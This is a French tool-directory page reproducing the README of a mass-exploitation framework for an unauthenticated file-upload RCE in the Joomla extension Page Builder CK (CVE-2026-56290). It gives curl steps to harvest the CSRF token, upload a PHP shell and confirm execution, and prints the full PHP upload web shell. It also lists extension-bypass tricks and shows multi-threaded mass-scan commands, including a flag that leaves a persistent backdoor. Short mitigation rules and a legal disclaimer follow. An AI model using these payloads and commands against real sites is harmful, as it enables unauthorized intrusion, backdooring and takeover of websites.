Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
pbck-exploit — 📤 Framework d'exploitation massive pour CVE-2026-56290 — Page Builder CK Joomla : téléchargement de fichier non authentifié menant à une exécution de code à distance (RCE) | Kitploit
Outils/GitHubGitHub/shinthink/pbck-exploit
ReconnaissanceScanners de VulnérabilitésFrameworks d'ExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubshinthink/pbck-exploit

pbck-exploit

📤 Framework d'exploitation massive pour CVE-2026-56290 — Page Builder CK Joomla : téléchargement de fichier non authentifié menant à une exécution de code à distance (RCE)

Voir le dépôt
35il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PBCK-Exploit — Exploit de Joomla Page Builder CK CVE-2026-56290

Python CVE License

Discovery CSRF RCE Cleanup Live

Framework d'exploitation et de validation massif pour Joomla Page Builder CK

Téléchargement de fichier arbitraire non authentifié → Exécution de code à distance



📑 Table des matières

  • Aperçu de la vulnérabilité
  • Versions concernées
  • Fonctionnalités
  • Installation
  • Utilisation
  • Preuve de concept
  • Analyse technique approfondie
  • Méthodologie de détection
  • Défense et atténuation
  • Avertissement
  • Références

🔴 Aperçu de la vulnérabilité

CVE-2026-56290 est une vulnérabilité de sévérité critique dans Page Builder CK (com_pagebuilderck), une extension populaire de constructeur de pages Joomla. La méthode du contrôleur browse.ajaxAddPicture accepte les téléchargements de fichiers non authentifiés avec un chemin de destination contrôlé par l'utilisateur, permettant aux attaquants d'écrire des fichiers PHP arbitraires dans des répertoires accessibles via le web.

La cause racine

root@kitploit:~
// browse.php controller — NO authentication check
function ajaxAddPicture() {
    $input = JFactory::getApplication()->input;
    $file  = $input->files->get('file', null);   // ← user-controlled file
    $path  = trim($input->get('path', ''));       // ← user-controlled path, only trim()!
    // ... uploads file to $path without validating the destination
}

Le paramètre path ne subit qu'un trim() comme assainissement — pas de liste blanche, pas de vérification de traversée de répertoire, pas de porte d'authentification. Combiné à un jeton CSRF accessible publiquement depuis n'importe quelle page Joomla, les attaquants peuvent télécharger à distance des shells PHP vers n'importe quel répertoire inscriptible.

Impact

VecteurSévéritéImpact
Téléchargement de fichier non authentifié

La chaîne d'attaque

root@kitploit:~
1. ACCÈS à la page d'accueil Joomla → récolte du jeton CSRF (hex32 + valeur "1")
2. Téléchargement de fichier POST → task=browse.ajaxAddPicture&{token}=1
3. Shell PHP atterrit dans → media/com_pagebuilderck/gfonts/shell.php
4. ACCÈS à l'URL du shell → code exécuté, RCE confirmé
5. POST f=@file vers le shell → téléchargement d'outils supplémentaires
6. GET ?cleanup=1 → le shell s'auto-détruit

🟠 Versions concernées

Remarque : La version est détectée à partir du fichier manifeste Joomla à l'emplacement /administrator/manifests/files/com_pagebuilderck.xml. Si le manifeste est inaccessible, le scanner considère par défaut la cible comme potentiellement vulnérable.


✨ Fonctionnalités


📦 Installation

root@kitploit:~
# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit

# Install dependencies
pip install -r requirements.txt

# Verify
python cve_2026_56290.py --help

Requirements

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

📖 Utilisation

Arguments de la ligne de commande

root@kitploit:~
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator

  -t, --target        URL d'une seule cible
  -f, --file          Fichier contenant les URL cibles (une par ligne, # pour les commentaires)
  -o, --output        Fichier de sortie TXT en direct (par défaut : cve-2026-56290_live.txt)
  --json              Chemin du fichier de rapport JSON (par défaut : cve-2026-56290_report.json)
  --threads           Travailleurs simultanés (par défaut : 20)
  --timeout           Délai d'attente en secondes (par défaut : 15)
  --no-cleanup        Laisser les shells sur la cible (porte dérobée persistante)
  -v, --verbose       Sortie détaillée de la découverte d'endpoint
  --known-endpoint    Sauter la découverte : task,file_param,folder_param

Utilisation de base

root@kitploit:~
# Cible unique
python cve_2026_56290.py -t https://target.com

# Scan massif depuis un fichier
python cve_2026_56290.py -f targets.txt

# Sortie personnalisée + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v

# Laisser les shells derrière (porte dérobée persistante)
python cve_2026_56290.py -t https://target.com --no-cleanup

# Sauter la découverte avec un endpoint connu
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"

Format du fichier cible

root@kitploit:~
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored

🧪 Preuve de concept

Scénario 1 : Scan massif avec sortie en direct

root@kitploit:~
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
root@kitploit:~
────────────────────────────────────────────────────────────
  CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes
  Live TXT: live_results.txt
  2026-07-04 15:30:00
────────────────────────────────────────────────────────────

  ✅ https://target-vuln.com  [rce_confirmed]  12.4s
     PBCK: 3.4.7 [VULN]
     RCE  : ext=php | path=media/com_pagebuilderck/gfonts/
     Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
     Usage: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

  🛡️ https://target-patched.com  [patched]  3.2s

  ✅ https://target-vuln2.com  [rce_confirmed]  15.1s
     PBCK: 3.1.0 [VULN]
     RCE  : ext=pHP | path=media/com_pagebuilderck/fonts/
     Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
     Usage: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

==================================================
  SCAN SUMMARY
==================================================
  Total           : 5
  ✅ RCE Confirmed : 2
  ⚠️  RCE Failed    : 1
  🛡️  Patched       : 1
  🔍 Need Diff     : 0
  ❌ Not Joomla    : 0
  ⏭️  No Component  : 1
  💥 Errors         : 0
==================================================

Scénario 2 : Reproduction manuelle (curl + Python)

Étape 1 — Récolter le jeton CSRF

root@kitploit:~
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"

Étape 2 — Télécharger le shell PHP

root@kitploit:~
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"

curl -sk \
  -F "[email protected];type=application/x-php" \
  -F "path=media/com_pagebuilderck/gfonts/" \
  "https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"

Étape 3 — Vérifier le RCE

root@kitploit:~
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP shell output, confirms code execution

Scénario 3 : Le payload du shell PHP

Le scanner déploie un shell de téléchargement autonome — aucun exec(), system() ou eval() requis :

root@kitploit:~
<html><body>
<form method=post enctype=multipart/form-data>
  <input type=file name=f>
  <input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
  move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
  echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
  @unlink(__FILE__);
  die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>

Capacités du shell :

  • 📤 Télécharger des fichiers supplémentaires via POST f=@file
  • 🧹 Auto-destruction via ?cleanup=1
  • 🔑 Validation basée sur un jeton (le scanner vérifie le jeton unique dans la sortie)

🔬 Analyse technique approfondie

Architecture

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│                     PBCK-EXPLOIT                        │
├──────────────────┬──────────────────────────────────────┤
│   RECON PHASE   │           EXPLOIT PHASE               │
│                  │                                      │
│  ┌────────────┐  │  ┌──────────────┐  ┌──────────────┐  │
│  │ Joomla     │  │  │ Endpoint     │  │ Extension    │  │
│  │ Detection  │  │  │ Brute-force  │  │ Bypass Grid  │  │
│  │ (2-phase)  │  │  │ (1000+ combo)│  │ (40+ exts)   │  │
│  └─────┬──────┘  │  └──────┬───────┘  └──────┬───────┘  │
│        │         │         │                  │          │
│  ┌─────▼──────┐  │  ┌──────▼───────┐  ┌──────▼───────┐  │
│  │ PBCK       │  │  │ CSRF Token   │  │ PHP Shell    │  │
│  │ Detection  │  │  │ Harvester    │  │ Deployment   │  │
│  │ (probes)   │  │  │ (5 pages)    │  │ (20+ paths)  │  │
│  └─────┬──────┘  │  └──────┬───────┘  └──────┬───────┘  │
│        │         │         │                  │          │
│  ┌─────▼──────┐  │         │           ┌──────▼───────┐  │
│  │ Version    │  │         │           │ Validation   │  │
│  │ Check      │  │         │           │ + Cleanup    │  │
│  └────────────┘  │         │           └──────────────┘  │
└──────────────────┴──────────────────────────────────────┘

Stratégie de découverte d'endpoint

Le scanner utilise une approche de bruteforce par niveaux avec un budget de temps par cible (15 s) :

Chaque combinaison : téléchargement d'une sonde .txt → vérification via GET → correspondance en cas de succès. Retourne immédiatement une fois confirmé.

Philosophie de contournement d'extension

CKFile::makeSafe() bloque .php sur certaines configurations. La stratégie de contournement :

root@kitploit:~
Niveau 1 : Rapide
  php, PHP, pht, phar
         ↓ (si bloqué)
Niveau 2 : Mélange de casses
  Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
         ↓ (si bloqué)
Niveau 3 : Gestionnaires alternatifs
  php3, php4, php5, php6, php7, php8, phtml, shtml, inc
         ↓ (si bloqué)
Niveau 4 : Extensions doubles
  php.jpg, jpg.php, php.png, php.gif, php.txt
         ↓ (si bloqué)
Niveau 5 : Astuces Windows
  php., PHP., php. , php.SWF

Récolte du jeton CSRF

Le jeton CSRF de Joomla est intégré dans chaque page — accueil, connexion, inscription, formulaires de contact, administration :

root@kitploit:~
CSRF_PAGES = [
    "",                                                            # homepage
    "/index.php?option=com_users&view=login",                       # login
    "/index.php?option=com_users&view=registration",                # registration
    "/index.php?option=com_contact&view=contact&id=1",              # contact
    "/administrator/index.php",                                     # admin login
]

Motif A — Champ caché HTML : <input type="hidden" name="<hex32>" value="1">

Motif B — Configuration JSON : "csrf.token":"<hex32>"


🔍 Méthodologie de détection

Détection Joomla (2 phases)

Phase 1 — Empreintes HTML (rapide, définitif)

  • Balise meta Generateur contenant "Joomla!"
  • Éléments structurels : <jdoc:include>, joomla-script-options, "csrf.token"
  • Motifs de chemin : /components/com_, /modules/mod_, /plugins/system/
  • Analyse des cookies de session

Phase 2 — Sondage du panneau d'administration (repli)

  • Récupération de la page /administrator/
  • Vérification des marqueurs d'administration spécifiques à Joomla : name="username", mod-login-, administrator/templates/

Détection PBCK (3 niveaux)

Niveau 1 — Indicateurs forts HTML

root@kitploit:~
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck

Niveau 2 — Indicateurs faibles HTML avec confirmation

root@kitploit:~
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)

Niveau 3 — Sondages de fichiers directs (détecte les installations où PBCK n'est pas sur la page d'accueil)

root@kitploit:~
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml

🛡️ Défense et atténuation

1. Mise à jour immédiate

root@kitploit:~
# Mettez à jour Page Builder CK vers la dernière version corrigée
# Vérifiez : https://extensions.joomla.org/extension/page-builder-ck/

2. Bloquer l'endpoint de téléchargement

root@kitploit:~
# Nginx — bloquer l'accès non authentifié au contrôleur de téléchargement
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
    deny all;
}
root@kitploit:~
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]

3. Renforcer l'exécution PHP dans les répertoires inscriptibles

root@kitploit:~
# .htaccess dans media/ — désactiver l'exécution PHP
<FilesMatch "\.php$">
    Require all denied
</FilesMatch>

4. Auditer votre parc

root@kitploit:~
# Scannez votre propre infrastructure
python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt

⚠️ Avertissement

🚨 À DES FINS ÉDUCATIVES ET DE TESTS AUTORISÉS UNIQUEMENT

Ce logiciel est fourni uniquement à des fins éducatives et pour des recherches de sécurité légitimes. Il est destiné à être utilisé par :

  • 🛡️ Professionnels de la sécurité menant des tests d'intrusion autorisés
  • 🏢 Organisations auditant leur propre infrastructure Joomla
  • 🔬 Chercheurs étudiant les techniques d'exploitation de vulnérabilités
  • 🎓 Étudiants apprenant la sécurité des applications web

❌ Vous NE POUVEZ PAS utiliser ce logiciel pour :

  • Accéder à des systèmes informatiques sans autorisation écrite explicite
  • Compromettre, endommager ou perturber des systèmes que vous ne possédez pas
  • Vous engager dans toute activité illégale

⚖️ Avis légal

L'accès non autorisé à des systèmes informatiques enfreint les lois incluant, sans s'y limiter :

  • États-Unis : Computer Fraud and Abuse Act (18 U.S.C. § 1030)
  • Indonésie : UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
  • Union européenne : Directive 2013/40/UE
  • Royaume-Uni : Computer Misuse Act 1990

Le(s) auteur(s) décline(nt) TOUTE RESPONSABILITÉ pour toute utilisation abusive, tout dommage ou toute conséquence légale résultant de l'utilisation de cet outil. En utilisant ce logiciel, vous reconnaissez être seul responsable de vos actions et acceptez de vous conformer à toutes les lois applicables.


📚 Références


⚡ Construit avec précision pour la communauté de recherche en sécurité ⚡

Joomla® est une marque déposée de Open Source Matters, Inc.
Ce projet n'est ni affilié ni approuvé par Joomla, Open Source Matters ou Page Builder CK.

Télécharger l’outil
9.8 (Critique)
Exécution de code PHP arbitraire
Récolte de jeton CSRF5.3 (Moyen)Permet la chaîne de téléchargement
Divulgation d'informations5.3 (Moyen)Empreinte de version de l'extension
Version de Page Builder CKStatutRemarques
3.1.1 et inférieures🔴 VulnérableTéléchargement non authentifié confirmé
3.4.10 et inférieures🔴 VulnérablePlage étendue selon l'analyse
3.5.10 et inférieures🔴 VulnérableCertaines variantes corrigées peuvent exister
> 3.5.10🟢 Possiblement corrigéVérifier via le manifeste XML

🔍 Reconnaissance

  • Détection Joomla — 2 phases : empreintes HTML + sondage du panneau d'administration
  • Détection PBCK — Sondages de chemins directs + correspondance de motifs HTML
  • Extraction de version — Analyse du manifeste XML + repli regex HTML
  • Récolte de jeton CSRF — Extraction de jeton sur plusieurs pages (accueil, connexion, inscription, admin)
  • Bruteforce d'endpoints — Plus de 1000 combinaisons tâche/param/chemin avec découverte limitée dans le temps

💀 Exploitation

  • Contournement de 40+ extensions — Mélange de casses, variantes numérotées, doubles extensions, astuces Windows
  • 20+ chemins de destination — Dossiers d'extension, dossiers inscriptibles Joomla, chemins de traversée
  • Validation du shell — Confirmation basée sur un jeton que PHP s'exécute
  • Nettoyage automatique — Les shells s'auto-détruisent après validation (?cleanup=1)
  • Sortie TXT en direct — Résultats thread-safe en temps réel écrits dans un fichier
  • Rapport JSON — Rapport structuré avec tous les détails par cible
NiveauTâchesParamètres fichierParamètres dossierChemins de destinationCombinaisons totales
Niveau 1 (confirmé)browse.ajaxAddPicture + 3 autresfile, Filedatapath, folder, dirTop 4 répertoires PBCK96
Niveau 2 (grille complète)12 tâches4 paramètres5 paramètres20+ chemins4 800+
RessourceLien
Entrée NVDCVE-2026-56290
Sécurité Joomladeveloper.joomla.org/security
Page Builder CKextensions.joomla.org
Téléchargement de fichier OWASPUnrestricted File Upload